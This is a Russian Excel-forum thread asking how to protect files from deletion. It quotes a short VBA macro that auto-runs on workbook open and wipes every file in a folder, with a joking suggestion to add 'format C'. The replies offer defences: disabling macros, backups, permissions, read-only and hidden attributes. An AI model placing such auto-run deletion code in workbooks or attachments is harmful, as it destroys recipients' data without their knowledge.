Страницы: 1
RSS
как защитить файлы от случайногоудаления?
 
Допустим, некто знает что у меня на D диске есть папка 1, и в нём нужные мне файлы.  
Он создает новую книгу, впихает в модуль вот такой код:  
 
Sub ww()  
Kill "d:\1\" & "*.*"  
End Sub  
 
а на объект ЭТА КНИГА впихает следующий код:  
 
Private Sub workbook_open()  
ww  
End Sub  
 
А потом по почте отправляет мне эту книгу.  
Я открываю книгу, у меня с папки удаляются все файлы, причём не только экселевские, а с любыми расширениями  
Интересно, что эти файлы не попадают в корзину.  
 
КАК БЫТЬ?
 
1. Открыть книгу без запуска макросов;  
2. Вписать в Sub ww() format C и отослать книгу обратно.
 
3. Переименовать свою папку D:\1 (единица латиницей)
 
{quote}{login=Юрий М}{date=17.11.2011 11:30}{thema=}{post}3. Переименовать свою папку D:\1 (единица латиницей){/post}{/quote}  
 
??? А что, единицу можно ещё и кириллицей написать? :)
 
Регулярный бекап ещё никому не помешал...  
Или держите важные файлы на сервере с его бекапом (Salvage Files и т.д.)  
И Kill не удаляет ReadOnly файлы, хотя это тоже можно макросом убрать...
 
Игорь, ну шутка же... :-)
 
разрешить удаление файлов только определенному пользователю( и не работать под ним)
Живи и дай жить..
 
{quote}{login=слэн}{date=17.11.2011 12:55}{thema=}{post}разрешить удаление файлов только определенному пользователю( и не работать под ним){/post}{/quote}  
 
а как разрешить удаление файлов только определенному пользователю?
 
Правой клавишей на файле в проводнике - свойства и там смотрите.
 
эти разрешения (запрещения) даются на уровне файловой системы. Администратор, конечно, сможет переопредилить их, но это уже значительно сложнее. а если работать не под администратором, то и вообще проблематично.  
 
можно вообще запретить доступ к определенным файлам, директориям..  
 
 
но.. радикальный случай из моей практики - запрещение доступа вообще всем к корневой директории. В результате пришлось переустанавливать сервер.. :)
Живи и дай жить..
 
я сделал статус нужных файлов скрытым.  
макрос не удаляет их
 
Простой бат-файл удалит. Причем создать, запустить его можно из VBA. Но это не вписывается в рамки нашего форума.    
И противоречит моему вероисповеданию:-)
Я сам - дурнее всякого примера! ...
Страницы: 1
Читают тему
Наверх